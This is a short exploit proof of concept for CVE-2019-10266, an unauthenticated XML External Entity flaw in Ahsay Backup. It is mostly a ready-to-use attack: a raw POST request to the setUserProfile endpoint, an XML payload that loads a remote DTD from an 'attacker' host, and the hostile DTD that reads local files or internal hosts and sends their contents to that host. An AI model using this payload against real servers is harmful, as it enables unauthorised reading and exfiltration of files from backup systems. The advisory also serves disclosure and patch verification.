# Unauthenticated XML External Entity (XXE) in Ahsay Backup v7.x - v8.1.0.50.   
# Date: 26-6-2019  
# Exploit Author: Wietse Boonstra  
# Vendor Homepage:  
# Software Link:  
# Version: 7.x <  
# Tested on: Windows / Linux  
# CVE : CVE-2019-10266  
#Ahsay is vulnerable to a OOB Unauthenticated XML External Entity  
#More info  
Sending the following POST request will trigger the XXE:  
POST /obs/obm8/user/setUserProfile HTTP/1.1  
Content-Type: application/octet-stream  
Content-Length: 126  
<?xml version="1.0"?>  
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker/oob"> %remote;%intern; %trick;]>  
On http://attacker/oob add the following content:  
<!ENTITY % payl SYSTEM "file:///c:/"><!ENTITY % intern "<!ENTITY %  
trick SYSTEM 'file://:%payl;/%payl;'>">  
Here it is possible to change file:///c:/ to any directory/file or internal host.